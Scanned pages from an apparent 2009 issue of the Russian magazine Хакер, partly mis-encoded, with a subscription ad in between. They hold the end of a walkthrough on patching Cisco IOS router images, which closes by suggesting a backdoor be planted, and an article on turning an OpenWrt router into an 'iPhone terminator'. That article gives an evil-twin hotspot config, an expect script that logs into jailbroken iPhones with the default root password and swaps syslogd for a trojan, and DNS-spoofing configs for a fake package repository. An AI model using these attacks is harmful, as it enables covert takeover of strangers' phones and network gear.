вариантом оказался шестнадцатеричный редактор HT (hte.sf.net), который<br />
умеет читать и модифицировать структуры данных исполняемых<br />
файлов ELF. При попытке открыть подопытный образ c2600-entbasek9-<br />
mz.124-9.T1.bin, HT сразу меня обругал, что и привлекло мое внимание.<br />
Обратимся к elf.h. Структура данных, отвечающая за ELF-заголовок,<br />
выглядит так:<br />
typedef struct {<br />
Elf_Char e_ident[EI_NIDENT];<br />
Elf32_Half e_type;<br />
Elf32_Half e_machine;<br />
Elf32_Word e_version;<br />
Elf32_Addr e_entry;<br />
Elf32_Off e_phoff;<br />
Elf32_Off e_shoff;<br />
Elf32_Word e_flags;<br />
Elf32_Half e_ehsize;<br />
060<br />
Что, в сумме, дает размер 52+32+6*40=324 или 0x144, то есть, в файле<br />
всего 6 секций (соответственно, 6 заголовков секций) и 1 заголовок программы.<br />
Вероятнее всего, одна из секций предназначена для хранения<br />
архива с исполняемым образом IOS. Эту секцию можно вычислить либо<br />
по размеру (логично, что ее размер должен быть максимальным), либо<br />
по типу секции. Заголовок таблицы секций можно просмотреть, нажав<br />
и выбрав elf/section headers, но для начала обратимся к описанию<br />
секции:<br />
typedef struct {<br />
Elf32_Word sh_name;<br />
Elf32_Word sh_type;<br />
Elf32_Word sh_flags;<br />
Elf32_Addr sh_addr;<br />
Elf32_Off sh_offset;<br />
Elf32_Word sh_size;<br />
Elf32_Word sh_link;<br />
Elf32_Word sh_info;<br />
Elf32_Word sh_addralign;<br />
Elf32_Word sh_entsize;<br />
} Elf32_Shdr;<br />
XÀÊÅÐ 04 /124/ 09
взлом<br />
Редактор HT<br />
Стираем flash<br />
Поле sh_type и будет отвечать за искомый тип.<br />
К сожалению, здесь меня ждал облом, — большинство секций имело<br />
тип SHT_PROGBITS, предназначенный для секций, значение которых<br />
определяется самой программой. Однако четвертая секция имела тип,<br />
отличный от предыдущих, и значение 0x00000007 (секция предназначена<br />
для каких-то программных заметок). Первая (нулевая) секция<br />
также имеет отличный от предыдущих тип (SHT_NULL). Исходя из<br />
этого, ясно, что она пустая и ни с чем не ассоциирована. В итоге, приходится<br />
искать секцию с максимальным размером (поле sh_size). Это<br />
— секция за номером пять, ее размер 0x1070e7c или 17239676 байт.<br />
Вернемся к hex-виду ( — hex) и перейдем по смещению (поле<br />
sh_offset) с помощью .<br />
Что же мы здесь видим? Где наш архив, который должен начинаться с<br />
сигнатуры PK, а точнее, если следовать спецификации PKZIP-формата<br />
(pkware.com/documents/casestudies/APPNOTE.TXT), — с 0x04034b50<br />
в обратном порядке? Как ни странно, эта сигнатура обнаруживается<br />
на 22 байта позже. А если хорошо присмотреться, то отказывается, что<br />
сразу за значением 0xFEEDFACE идет размер распакованного образа<br />
0x02AED904. Внимательно поискав в Сети, можно наткнуться на информацию<br />
из книги Cisco Networks Hacking Exposed издательства McGraw<br />
Hill/Osborne.<br />
Наши русские парни Andrew A. Vladimirov, Konstantin V. Gavrilenko,<br />
Janis N. Vizulis and Andrei A. Mikhailovsky еще в 2006 году занимались<br />
разработкой бинарного патчинга IOS 12.3(6). Им удалось<br />
выяснить, что после магического значения 0xFEEDFACE идут<br />
последовательно uncompressed image size, compressed image<br />
size, compressed image checksum, uncompressed image checksum.<br />
Товарищам также стало известно, что алгоритм вычисления контрольной<br />
суммы представляет собой модифицированный алгоритм<br />
контрольной суммы в интернете. К счастью, нам не придется ничего<br />
вычислять — проверено на практике, что маршрутизатор сам скажет,<br />
какое значение должно иметь это поле, если, конечно, подсчитанная<br />
контрольная сумма и записанная в соответствующем поле не<br />
совпадут:<br />
Error : compressed image checksum is incorrect<br />
0xB99D8823<br />
Expected a checksum of 0xF6F69877<br />
Сигнатура FEEDFACE по искомому смещению<br />
секции (№5), содержащей архив с образом IOS, загружаемым в память, —<br />
0x1070e7c или 17239676 (включая 20 байт с 0xFEEDFACE по 0x504B0304).<br />
Размер новой секции, содержащей архив, — 0xFB9D38 или 16489784<br />
(включая те же 20 байт). Разница между старым и новым значением<br />
составит 0xB7158 — 749912. То есть, смещение четвертой секции, физически<br />
расположенной в файле после пятой секции, требуется изменить с<br />
0x1075360 на 0xFBE208!<br />
Старые значения после магической записи 0xFEEDFACE:<br />
unpacked image size: 0x02AED904 45013252<br />
packed image size: 0x01070E66 17239654 (ðàçíèöà ñ ðàçìåðîì<br />
5é ñåêöèè - íà 22 áàéòà ìåíüøå)<br />
packed image checksum: 0xB58BE139<br />
unpacked image checksum: 0xA29D4F6E<br />
çàòåì èäåò ñèãíàòóðà: 0x504B0304<br />
Новые значения после магической записи 0xFEEDFACE:<br />
unpacked image size: 0x02AED904 (îñòàëñÿ òîò æå)<br />
packed image size: 0x00FB9D22 16489762 (ðàçíèöà ñ ðàçìåðîì<br />
5é ñåêöèè - íà 22 áàéòà ìåíüøå)<br />
packed image checksum: íàì íåèçâåñòíà è ìîæíî çàìåíèòü íà<br />
÷òî-íèáóäü ïðèìåòíîå, òèïà 0x48000000<br />
unpacked image checksum: 0xA29D4F6E (îñòàëñÿ òîò æå)<br />
*** System received a Software forced crash ***<br />
signal= 0x17, code= 0x5, context= 0x800805f0<br />
PC = 0x0, Vector = 0x0, SP = 0x0<br />
ПРАКТИКА (ИНТЕГРАЦИИ НОВОГО АРХИВА)<br />
Перейдем к активным действиям. Для начала вырезаем из файла старую<br />
четвертую секцию, содержащую zip-архив, — за исключением 20 байт,<br />
начиная с магического значения 0xFEEDFACE до сигнатуры zip (то есть,<br />
со смещения 0x44F8 по смещение 0x1075360 + 0x44F8). Затем по смещению<br />
0x44F8 вставляем новый архив.<br />
Соединим всю известную нам информацию воедино. Размер старой<br />
XÀÊÅÐ 04 /124/ 09<br />
Новую контрольную сумму, как я уже говорил, сообщит сам маршрутизатор.<br />
После всех манипуляций конечный образ был получен, но его размер<br />
меня не впечатлил. По сравнению с изначальным размером 16,4<br />
MB (17257364 bytes) я получил всего лишь 15,7 MB (16507472 bytes).<br />
Разница, которую я уже посчитал выше, составила 749912 байт.<br />
Конечно, это позволит загрузить образ на flash, но, скорее всего,<br />
придется применять опцию /no-squeeze-reserve-space. Когда при<br />
копировании маршрутизатор запросит повторное стирание flash,<br />
подтверждать действие не нужно. Естественно, такая ситуация была<br />
бы только в том случае, если образ был бы сформирован правильно. Поэ-<br />
061
взлом<br />
Содержимое архива<br />
тому я не стал спешить и для загрузки образа зашел в режим rommon по<br />
. И — со своего компьютера загрузил образ по tftp напрямую<br />
в RAM:<br />
rommon 1>tftpdnld -r<br />
После загрузки маршрутизатор я сказал:<br />
TFTP flash copy: Error, image size (16507470) mismatches<br />
netsize (16507472).<br />
Оказалось, что при редактировании размера 5й секции я ошибся на 2<br />
байта (те самые 20 байт с 0xFEEDFACE + 2).<br />
После второй попытки загрузки выяснилось, что контрольная сумма<br />
запакованного образа — 0xB0257B0D:<br />
Head Total(b) Used(b) Free(b) Lowest(b) Largest(b)<br />
Processor 82A44240 20244772 8718640 11526132 10171028<br />
10098348<br />
I/O 3CA3400 3525632 1650536 1875096 1875096 1875068<br />
<br />
router#show flash:<br />
System flash directory:<br />
File Length Name/status<br />
1 15947076 c2600-advsecurityk9-mz.124-21-shad-pk.bin<br />
[15947140 bytes used, 830072 available, 16777212 total]<br />
16384K bytes of processor board System flash (Read/<br />
Write)<br />
Error : compressed image checksum is incorrect<br />
0xB99D8823<br />
Expected a checksum of 0x48000000<br />
*** System received a Software forced crash ***<br />
signal= 0x17, code= 0x5, context= 0x800805f0<br />
PC = 0x0, Vector = 0x0, SP = 0x0<br />
Корректируем соответствующее поле после 0xFEEDFACE (загружаем<br />
файл в HT по , переходим по смещению с помощью и редактируем<br />
по , не забывая сохраняться по ). Снова грузимся.<br />
Остается еще одна небольшая проблема. Если запустить проверку:<br />
router#verify flash:c2600-advsecurityk9-mz.124-21-<br />
shad-pk.bin<br />
— маршрутизатор обругает нас, сообщив, что Embedded hash и<br />
Calculated hash не совпадают. Исправить это очень просто — 16 байт<br />
контрольной суммы находится в самом конце бинарного файла образа.<br />
Обнаружить это можно даже с помощью простого поиска:<br />
После исправления маршрутизатор сообщает, что контрольная сумма<br />
успешно подсчитана и совпадает:<br />
rommon 4>reset -s<br />
Дальше все нормально, однако затем IOS вываливается и отказывается<br />
работать по причине недостатка памяти.<br />
НИКОГДА НЕ СДАВАЙСЯ<br />
Я не расстроился и решил взяться за другой образ — c2600-<br />
advsecurityk9-mz.124-21.bin. После аналогичных манипуляций с байтами,<br />
даже при использовании 128-битного слова в 7zip, размер составил<br />
15947076 (против изначальных 16635336), что позволило загрузить его во<br />
flash. Помимо прочего, этот образ уже не ругался на недостаток памяти<br />
RAM и прекрасно чувствовал себя на этой платформе:<br />
router#show version<br />
Cisco IOS Software, C2600 Software (C2600-<br />
ADVSECURITYK9-M), Version 12.4(21), RELEASE SOFTWARE<br />
(fc1)<br />
<br />
router#show memory summary<br />
062<br />
Embedded Hash MD5 : 3DD2C6591FF4F033425147DE4540F9CD<br />
Computed Hash MD5 : 3DD2C6591FF4F033425147DE4540F9CD<br />
CCO Hash MD5 : 79020945BDFE2A354E012C8303136360<br />
Embedded hash verification successful.<br />
File system hash verification successful.<br />
ЛОГИЧЕСКОЕ ЗАКЛЮЧЕНИЕ<br />
Новый образ готов и правильно сформирован. Усвоив эту статью, ты<br />
получишь опыт:<br />
1) по формату PKZIP;<br />
2) по формату исполняемых файлов ELF;<br />
3) по внутреннему устройству образов Cisco IOS;<br />
4) по работе в режиме rommon маршрутизатора.<br />
Кроме того, готов задел для дальнейших извращений над маршрутизаторами.<br />
Для общего развития можно поковырять распакованные образы в<br />
IDA, изучить вирусы в *nix-like системах, чтобы проинфицировать образ<br />
своим бекдором, ну и собственно, написать бекдор. A мои изыскания здесь<br />
успешно заканчиваются. Все вопросы, пожелания и, в особенности, идеи,<br />
мой дорогой друг, я готов получить по электронной почте. С радостью отвечу<br />
и помогу по мере сил. Удачи в бинарном патчинге... и не только. z<br />
XÀÊÅÐ 04 /124/ 09
ПОДПИСКА В РЕДАКЦИИ<br />
ГОДОВАЯ ПОДПИСКА ПО ЦЕНЕ<br />
2100 руб.<br />
(на 15% дешевле чем<br />
при покупке в розницу)<br />
Единая цена по всей России. Доставка за счет издателя,<br />
в том числе курьером по Москве в пределах МКАД<br />
ВНИМАНИЕ!<br />
ВТОРОЕ СПЕЦПРЕДЛОЖЕНИЕ!<br />
При подписке на комплект журналов<br />
ЖЕЛЕЗО + ХАКЕР + DVD:<br />
- Один номер всего за 155 рублей (на 25% дешевле, чем в розницу)<br />
ÇÀ 12 ÌÅÑЯÖÅÂ<br />
3720<br />
ðóá<br />
Подписка на журнал «ХАКЕР+DVD» на 6 месяцев<br />
стоит 1200 руб.<br />
+<br />
ÇÀ 6 ÌÅÑЯÖÅÂ<br />
2100<br />
ðóá<br />
ВЫГОДА ГАРАНТИЯ СЕРВИС<br />
КАК ОФОРМИТЬ ЗАКАЗ<br />
1. Разборчиво заполните подписной купон и квитанцию, вырезав<br />
их из журнала, сделав ксерокопию или распечатав с сайта www.<br />
glc.ru.<br />
2. Оплатите подписку через Сбербанк .<br />
3. Вышлите в редакцию копию подписных документов — купона и<br />
квитанции — любым из нижеперечисленных способов:<br />
по электронной почте subscribe@glc.ru;<br />
по факсу 8 (495) 780-88-24;<br />
по адресу 119021, Москва,<br />
ул. Тимура Фрунзе, д. 11, стр. 44,<br />
ООО «Гейм Лэнд», отдел подписки.<br />
ВНИМАНИЕ!<br />
Подписка оформляется в день обработки купона и квитанции в редакции:<br />
в течение пяти рабочих дней после отправки подписных документов в<br />
редакцию по факсу или электронной почте;<br />
в течение 20 рабочих дней после отправки подписных документов по<br />
почтовому адресу редакции.<br />
Рекомендуем использовать факс или электронную почту, в последнем<br />
случае предварительно отсканировав или сфотографировав документы.<br />
Подписка оформляется с номера, выходящего через один календарный<br />
месяц после оплаты. Например, если вы производите оплату в<br />
апреле, то журнал будете получать с июня.<br />
По всем вопросам, связанным с подпиской, звоните по бесплатным телефонам 8(495)780-88-29 (для москвичей)<br />
и 8(800)200-3-999 (для жителей других регионов России, абонентов сетей МТС, БиЛайн и Мегафон). Вопросы<br />
о подписке можно также направлять по адресу info@glc.ru или прояснить на сайте www.GLC.ru
взлом<br />
D0ZNP<br />
/ HTTP://OXOD.RU /<br />
iPhone<br />
ТЕРМИНАТОР<br />
СОЗДАЕМ АВТОМАТИЧЕСКОЕ СРЕДСТВО АУДИТА APPLE IPHONE<br />
 ìàðòîâñêîì íîìåðå, â ñòàòüå «ßáëî÷íîå ïþðå», ÿ ðàññêàçàë î ñàìîì ïîïóëÿðíîì<br />
è ïðèòÿçàòåëüíîì òåëåôîíå íà ðûíêå — Apple iPhone. Ìîæíî äîëãî<br />
ñïîðèòü íà òåìó åãî ôóíêöèîíàëüíîñòè, ñðàâíèâàòü ñ êàìíåì èëè<br />
ñ ËÑÄ, âîñõèùàòüñÿ è ãëóìèòüñÿ, íî âñå ýòî ÿ îñòàâëþ íà òâîå ëè÷íîå óñìîòðåíèå.<br />
Íà ñåáÿ æå âîçüìó îáÿçàòåëüñòâî ïðîäîëæèòü ðàññêàç î áåçîïàñíîñòè<br />
óñòðîéñòâà. À áåçîïàñíîñòü iPhone, ñêàæó ÿ òåáå, îñòàâëÿåò æåëàòü ëó÷øåãî.<br />
>> взлом<br />
Сперва разберемся, что же заставляет андеграунд двигаться в<br />
определенном направлении исследований. Если судить по количеству<br />
прикладных эксплоитов (офигеть какой показатель, сам знаю), то<br />
Win-системы гораздо более уязвимы, чем все Nix вместе взятые. Глупо<br />
предполагать, что дело только в кривизне кода от Microsoft. Весь секрет<br />
в популярности: чем больше пользователей пользуются софтом, тем<br />
больше интереса (материального и идейного) искать в нем ошибки и<br />
уязвимости. Какой резон в публикации невероятно сложной и красивой<br />
атаки на какой-нибудь Amoi MD-1 (это мобильный телефон, если что)? А<br />
вот в простой атаке на Apple iPhone пользы куда больше! Популярности<br />
одной модели айфона могут позавидовать целые серии телефонов.<br />
Сколько всего на территории нашей прекрасной страны iPhone, не<br />
знает никто, но оценку этой величины дать можно. На ленте за 26 января<br />
значилась цифра 120.000 проданных белых 3g. До этого времени, по<br />
оценкам экспертов, было еще 250.000 серых телефонов. В сумме получаем<br />
где-то 370.000. За цифру я не ручаюсь, и, если окажется, что она в<br />
два раза выше, — не удивлюсь. Наши операторы обязались за два года<br />
продать около 3 млн. устройств, так что им еще есть куда стремиться...<br />
В одном отдельно взятом кафе в столице легко можно встретить 5-10<br />
айфонов за раз. Хотел бы ты получить возможность обрабатывать чужие<br />
064<br />
XÀÊÅÐ 04 /124/ 09
взлом<br />
Power in from car<br />
Power out to PC<br />
GND<br />
C11<br />
100nF<br />
O2<br />
BC 547<br />
R7<br />
10k<br />
GND<br />
C9<br />
1nf<br />
R6<br />
1k<br />
R2<br />
GND<br />
C10<br />
22nF<br />
220k<br />
PAD1<br />
PAD2<br />
GND<br />
С8<br />
100nF<br />
GND<br />
1<br />
L1<br />
120H<br />
1<br />
2<br />
3<br />
4<br />
10k<br />
R9<br />
2<br />
С1<br />
1000uF<br />
С2<br />
COMREF<br />
VFB VCC<br />
ILIM OUT<br />
OSCGND<br />
8<br />
7<br />
6<br />
5<br />
1000uF<br />
GND GND<br />
O2<br />
C6<br />
GND<br />
D1<br />
22<br />
100nF<br />
GND<br />
PS2<br />
O3<br />
PS1 13:13<br />
PS4 PS3<br />
on Temte<br />
1000uF<br />
C7<br />
US 3<br />
IRFZ44N<br />
GND<br />
GND<br />
D1<br />
С3<br />
R5 R4<br />
10k 47k<br />
GND<br />
R3<br />
1000uF<br />
С4<br />
2k2<br />
O1<br />
BC 547<br />
GND<br />
L2<br />
1 2<br />
120H<br />
ЭЛЕКТРИЧЕСКАЯ СХЕМА АДАПТЕРА ПИТАНИЯ 12 В<br />
ОТ АВТОМОБИЛЬНОГО ПРИКУРИВАТЕЛЯ С ПОДАВЛЕНИЕМ<br />
ШУМОВ<br />
1000uF<br />
GND GND<br />
С5<br />
GND<br />
1000uF<br />
GND<br />
PAD3<br />
PAD4<br />
телефоны в автоматическом режиме? Дальше я опишу процесс создания<br />
устройства для поиска и аудита яблочных телефонов. Мы скомбинируем<br />
принципы пассивного и активного сканирования, а также описанные в<br />
предыдущей статье атаки. Наш терминатор будет пытаться получить доступ<br />
ко всем айфонам в округе и запускать на них тестовое приложение<br />
для отправки SMS. Ну все, хватит обещаний, поехали!<br />
ВЫБИРАЕМ ПЛАТФОРМУ<br />
Давай прикинем, каким основным требованиям должно удовлетворять<br />
автоматическое средство аудита мобильных телефонов? Прежде всего,<br />
конечно, мобильность, извиняюсь за тавтологию. Идея использовать<br />
обычный ноутбук приходит в голову сразу, однако, это не всегда удобно.<br />
Я предлагаю поступить по-хакерски и сделать iPhone терминатора из<br />
обычного беспроводного роутера или точки доступа. Такая платформа<br />
обладает рядом преимуществ по сравнению с ноутом:<br />
• Êîìïàêòíûå ðàçìåðû (ìåíüøå, ÷åì äàæå 10-äþéìîâûå íåò áóêè)<br />
• Ìàëåíüêèé âåñ (150 ã!)<br />
• Íèçêîå ýíåðãîïîòðåáëåíèå (ïèòàåòñÿ îò àêêóìóëÿòîðà)<br />
• Øòàòíûé ðàçúåì äëÿ âíåøíåé àíòåííû (ïîïðîáóé íàéäè â<br />
ìàãàçèíå PCMCIA áåñïðîâîäíóþ êàðòó ñ ðàçúåìîì âíåøíåé<br />
àíòåííû)<br />
• Äåøåâèçíà (~2000ð ïðîòèâ ~8000 ðóá. çà ñàìûé äåøåâûé<br />
íåòáóê)<br />
Кроме того, в определенных местах человек с ноутом привлекает<br />
гораздо больше внимания, чем человек с рюкзачком или сумкой. Вместо<br />
штатного монитора контролировать устройство мы будем через SSH с<br />
телефона — таким образом, шансы прохожих разглядеть что-то интересное<br />
на твоем экране уменьшаются до нуля. Если тебя коробит вопрос<br />
производительности, то смею заверить — процессора ARM<br />
200 МГц хватить для наших нужд выше крыши. Нелишним будет USBпорт<br />
— мы поместим туда флешку для ведения ядовитых логов, но если<br />
его нет, можно скидывать все на «админский» телефон или сервер в<br />
интернете. Я буду описывать процесс на примере Asus WL-500G, просто<br />
потому, что он валяется под рукой. Все будет абсолютно аналогично при<br />
XÀÊÅÐ 04 /124/ 09<br />
использовании любого роутера из этого списка: http://wiki.openwrt.org/<br />
CompleteTableOfHardware.<br />
Если моих доводов в пользу выбора платформы недостаточно и желание<br />
повторить все нижеописанное на ноуте непреодолимо, — вперед! Весь<br />
используемый софт работает под линухом и без труда заведется под твой<br />
любимый дистрибутив или другой никс. На всякий случай напомню:<br />
если возникнут какие-то вопросы, можешь задать их в моем блоге (oxod.<br />
ru). Только не забудь вытащить жесткий диск и поставить ОС на флешку:<br />
при ходьбе и, тем более, беге, есть большой шанс заклинить даже самые<br />
дорогие диски. С платформой определились, едем дальше!<br />
СОБЕРИ САМ. СОЗДАЕМ СВОЮ ПРОШИВКУ<br />
Для моего роутера существует несколько дистрибутивов линукса. Это<br />
— openwrt, dd-wrt и другие, менее известные. Я решил использовать<br />
openwrt исключительно по этическим соображениям, и ты можешь<br />
выбрать что угодно, или даже воспользоваться оригинальным дистрибутивом<br />
от производителя, их часто выкладывают под лицензией GPL.<br />
В общем, необходимое условие одно — наличие toolchain, т.е. средств<br />
кросс-компиляции, с помощью которых мы соберем и поместим в<br />
прошивку нестандартные утилиты. Нам всего-то потребуются: expect,<br />
ssh client, sshd, http-сервер, dns-сервер. Буду рассказывать на примере<br />
openwrt, так что выкачиваем сборку под свою модель, в моем случае это:<br />
http://downloads.openwrt.org/kamikaze/8.09/brcm-2.4/openwrt-brcm-<br />
2.4-squashfs.trx. Вышла она 15 февраля 2009 года, — самый свежак.<br />
Перед прошивкой переводим устройство в Failure Mode. Для этого<br />
отключаем питание, зажимаем кнопку Reset и подключаем питание.<br />
Держим Reset, пока индикатор питания не подмигнет нам, затем отпускаем<br />
кнопку. Процедура входа в Failure Mode для разных роутеров может<br />
отличаться, но подробная процедура установки всегда будет описана<br />
в WIKI openwrt для каждой модели. Ссылка на инструкцию находится<br />
в последней колонке таблицы поддерживаемых устройств. Далее<br />
подключаем патч-корд к устройству и проверяем, что у нас вышло: ping<br />
192.168.1.1. Если все хорошо и устройство отвечает, переходим к заливке<br />
прошивки. Потребуется tftp-клиент, его можно взять здесь:<br />
• http://www.tftp-server.com/tftp-download.html — для Windows;<br />
• http://packages.debian.org/lenny/tftp — Debian stable.<br />
065
взлом<br />
Asus WL-500G Deluxe собственной персоной<br />
Автомобильный адаптер-инвертор 12 В -220 В. Способен<br />
тянуть компьютер 300 В<br />
links<br />
• openwrt.org —<br />
дистрибутив ОС<br />
linux для точек<br />
доступа.<br />
• dd-wrt.com — другой<br />
вариант дистрибутива<br />
ОС linux для<br />
точек доступа.<br />
• code.google.<br />
com/p/winchain —<br />
средства разработки<br />
для iPhone под<br />
Windows.<br />
• oxod.ru — мой<br />
блог. Пишу по мере<br />
желания. Жду комментариев,<br />
отвечу<br />
на вопросы.<br />
warning<br />
Внимание! Информация<br />
представлена<br />
исключительно<br />
с целью ознакомления!<br />
Ни автор,<br />
ни редакция за твои<br />
действия ответственности<br />
не несут!<br />
066<br />
После установки заливаем прошивку на устройство:<br />
tftp 192.168.1.1<br />
tftp> binary<br />
tftp> trace<br />
tftp> put openwrt-brcm-2.4-squashfs.trx<br />
Ждем, пока индикатор питания перестанет моргать<br />
(завершится процесс записи в ROM). Вот так, просто и без<br />
приключений, мы подготовили платформу для дальнейших<br />
изысканий. Теперь перейдем непосредственно к настройке.<br />
Выполняем команды:<br />
#~telnet 192.168.1.1<br />
#~passwd //óñòàíàâëèâàåì ïàðîëü<br />
#~exit //îòêëþ÷àåìñÿ<br />
#~ssh root@192.168.1.1 //ïåðâûé ðàç ýòà ïðîöåäóðà<br />
çàéìåò îêîëî ìèíóòû èëè äâóõ — íåòîðîïëèâîå<br />
óñòðîéñòâî ñîçäàåò êëþ÷åâûå ïàðû. Åñëè<br />
âðåìÿ îæèäàíèÿ SSH-êëèåíòà èñòå÷åò — ïîâòîðè<br />
ïîïûòêó ïîäêëþ÷åíèÿ ÷åðåç ïàðó ìèíóò<br />
#~ipkg update //îáíîâëÿåì áàçó ïàêåòîâ<br />
Возможно, перед последней командой придется еще настроить<br />
подключение к интернету. Настройка интерфейсов<br />
происходит через /etc/config/network. Если надо настроить<br />
PPPoE, создай в конфиге такое правило:<br />
config interface wan<br />
option ifname<br />
option proto<br />
option username<br />
option password<br />
nas0<br />
pppoe<br />
"username"<br />
"password"<br />
На этом базовая установка ОС закончена. Дистрибутив уже<br />
включает в себя DHCP-сервер, SSH-сервер и SSH-клиент.<br />
Дальнейшая настройка зависит от типа атаки.<br />
ДЕЛАЙ РАЗ. ВКУСНАЯ ТОЧКА ДОСТУПА<br />
Теперь основная задача — заставить пользователя<br />
iPhone подключиться к нашей точке доступа. Мы должны<br />
сделать ее наиболее привлекательной, сулящей<br />
неслыханную халяву и т.д. Первое, что приходит на ум<br />
— поставить SSID, который точно привлечет внимание<br />
любого пользователя. Например, взять существующие<br />
имена бесплатных WiFi-сетей. Для правдоподобности<br />
можно работать в режиме моста с настоящей точкой<br />
доступа, подключенной к интернету. Тогда пользователь<br />
будет иметь полноценный выход в глобальную Сеть,<br />
параллельно с этим попадаясь на все наши дальнейшие<br />
уловки с DNS (я же не зря перечислил его в требованиях!).<br />
Для максимального эффекта предварительно<br />
просканируй все сети, действующие в том районе, где<br />
будешь производить испытания, и выдели наиболее<br />
популярные точки доступа. Затем поставь своему устройству<br />
MAC и SSID, как у самого популярного хот-спота.<br />
Если ты окажешься ближе к пользователю, уровень<br />
сигнала от тебя будет выше, и ты получишь клиентов,<br />
привычно подключающихся к знакомой сети. Простейший<br />
конфиг беспроводного интерфейса /etc/config/<br />
wireless выглядит так:<br />
config wifi-device wl0<br />
option type broadcom<br />
option channel 5<br />
option disabled 0<br />
config wifi-iface<br />
option device wl0<br />
option network lan<br />
option mode ap<br />
option ssid Free_Internet<br />
option hidden 0<br />
option encryption none<br />
Последний штрих — настройка DHCP-сервера. Мы же<br />
должны создать для клиентов максимально комфортные<br />
условия работы в нашей сети :).<br />
config dhcp<br />
option interface lan<br />
option start 2 //ïåðâûé âûäàííûé<br />
IP-àäðåñ, â íàøåì ñëó÷àå áóäåò 10.0.0.2<br />
option limit 100 //ñêîëüêî âñåãî<br />
àäðåñîâ âûäàâàòü<br />
option leasetime 1h //âðåìÿ àðåíäû<br />
àäðåñà, íàäî âûáðàòü â ñîîòâåòñòâèè ñ äèíàìèêîé<br />
ïåðåìåùåíèÿ òåðìèíàòîðà è êëèåíòîâ<br />
config dhcp<br />
option interface wan<br />
option ignore 1<br />
Если возникнут вопросы по поводу синтаксиса, обращайся<br />
к официальной документации http://wiki.openwrt.org/<br />
OpenWrtDocs/KamikazeConfiguration (в журнале приводить<br />
все возможные варианты настроек смысла нет).<br />
ДЕЛАЙ ДВА. ПОДБОР ПАРОЛЕЙ SSH<br />
Самая простая и действенная на текущий момент атака на<br />
iPhone — пользуемся паролем по умолчанию, установленным<br />
практически на все джеилбрейкнутые телефоны SSHD.<br />
Для начала, с помощью toolchain от openwrt собираем<br />
из исходников утилиту expect. Если есть флешка, можно<br />
XÀÊÅÐ 04 /124/ 09
взлом<br />
Динамо-машина для зарядки ноутбука. Крути педали, пока не дали…<br />
поставить компилятор на сам роутер. Устанавливаем все<br />
необходимое:<br />
ipkg install buildroot<br />
ipkg install make<br />
ipkg install tcl<br />
ipkg install scponly<br />
ipkg install openssh-client<br />
Сразу отредактируем /etc/ssh/ssh_config, добавив<br />
строчку «StrictHostKeyChecking no», чтобы SSH-клиент<br />
не выдавал сообщение о принятии новых сессионных<br />
ключей для каждой жертвы. Затем скачиваем исходники<br />
expect отсюда: http://expect.nist.gov/expect.tar.gz.<br />
Распаковываем и собираем, как обычно: ./configure,<br />
make, make install. Может потребоваться установить<br />
переменную окружения: «setenv TCL_LIBRARY /usr/<br />
bin/tcl8.4.19/Library». Теперь напишем скрипт, который<br />
будет пытаться подключиться к телефону с дефолтной<br />
связкой логин-пароль. Получится что-нибудь наподобие<br />
этого:<br />
#!/usr/bin/expect<br />
spawn scp /www/iphone-trojan root@10.0.0.2:/<br />
usr/sbin/syslogd<br />
expect assword {send alpine\r}<br />
spawn ssh root@10.0.0.2<br />
expect assword {send alpine\r}<br />
send “ldid –S /usr/sbin/syslogd\r”<br />
send “exit\r”<br />
expect eof<br />
В случае успеха демон системных логов на захваченном<br />
телефоне заменится нашей программой iphone-trojan, которая<br />
будет выполняться при каждом рестарте системы. Что<br />
это будет за программа, мы рассмотрим ниже. Предлагаю в<br />
качестве самостоятельного упражнения связать логи dhcpсервера<br />
с выполнением этого скрипта так, чтобы атака<br />
осуществлялась на каждый новый выданный IP. Можешь<br />
также установить nmap и перед запуском проверять, что<br />
подцепился именно iPhone.<br />
XÀÊÅÐ 04 /124/ 09<br />
Делается это командой nmap –O2 10.0.0.Х. Стоит отметить,<br />
что сканирование nmap’ом занимает приличное<br />
время, поэтому куда выгоднее просто пытаться атаковать<br />
сразу после подключения клиента. Тут уж решай сам.<br />
ДЕЛАЙ ТРИ. ЛОЖНЫЙ РЕПОЗИТОРИЙ INSTALLER<br />
Эта атака была описана в моей предыдущей статье. Если<br />
вкратце, — суть заключается в подмене DNS-адреса<br />
репозитория менеджера пакетов Installer. Менеджер устанавливается<br />
на все джеилбрейкнутые телефоны, коих, по<br />
некоторым оценкам, > 50% среди всех iPhone в нашей стране.<br />
Выглядит это так: пользователь подключается к нашему<br />
терминатору, открывает Installer и устанавливает обновление<br />
самого менеджера пакетов. Но вместе с оригинальной<br />
программой на телефон заливается любая другая.<br />
Приступим к настройке. Устанавливаем DNS-сервер:<br />
#~ipkg install maradns<br />
Меняем настоящий IP сервера с репозиторием i.ripdev.com<br />
на наш. Для этого редактируем /etc/mararc и /etc/marands/<br />
ripdev.com:<br />
/etc/mararc:<br />
ipv4_bind_addresses = "127.0.0.1, 10.0.0.1"<br />
chroot_dir = "/etc/maradns" //ìåñòî, ãäå áóäóò<br />
ëåæàòü êîíôèãè çîí, ìîæíî âûáðàòü, íàïðèìåð,<br />
òî÷êó ìîíòèðîâàíèÿ ôëåøêè…<br />
recursive_acl = "127.0.0.1/8, 10.0.0.0/24" //<br />
ðàçðåøàåì ðåêóðñèâíûå çàïðîñû<br />
zone_transfer_acl = "127.0.0.1/8,<br />
10.0.0.0/24" //ðàçðåøàåì ïåðåñûëêó çîí<br />
timeout_seconds = 2<br />
csv1 = {}<br />
csv1["ripdev.com."] = "ripdev.com"<br />
dns_port = 53<br />
maximum_cache_elements = 1024<br />
min_ttl_cname = 900<br />
/etc/maradns/ripdev.com:<br />
dvd<br />
На диске ты найдешь<br />
исходники программы<br />
для отправки SMS.<br />
067
взлом<br />
# SOA<br />
Sripdev.com.|86400|%|root@%|200903211634|7200|3600|<br />
604800|1800<br />
# NS<br />
Nripdev.com.|86400|ns.ripdev.com.<br />
# A<br />
Ai.ripdev.com.|86400|10.0.0.1<br />
Теперь все запросы к серверу будут обработаны терминатором.<br />
Остается настроить встроенный веб-сервер в качестве поддельного<br />
репозитория. По умолчанию веб-сервер запускается с корнем /www,<br />
но ты в любой момент можешь погасить его и запустить с ключом –h /<br />
my/www-root. Выгодно создавать корень веб-сервера на прикрученной<br />
флешке. Так или иначе, нам надо скачать и записать на терминатора<br />
следующие файлы:<br />
http://i.ripdev.com/info/index-2.0.plist<br />
http://i.ripdev.com/info/index-2.1.plist<br />
http://i.ripdev.com/info/index-2.2.plist<br />
В каждом из них исправляем раздел, относящийся к программе Installer,<br />
меняем ключи date и version на большие. Если мы не хотим вызывать лишних<br />
подозрений, исправляем ссылки на файлы всех остальных программ так,<br />
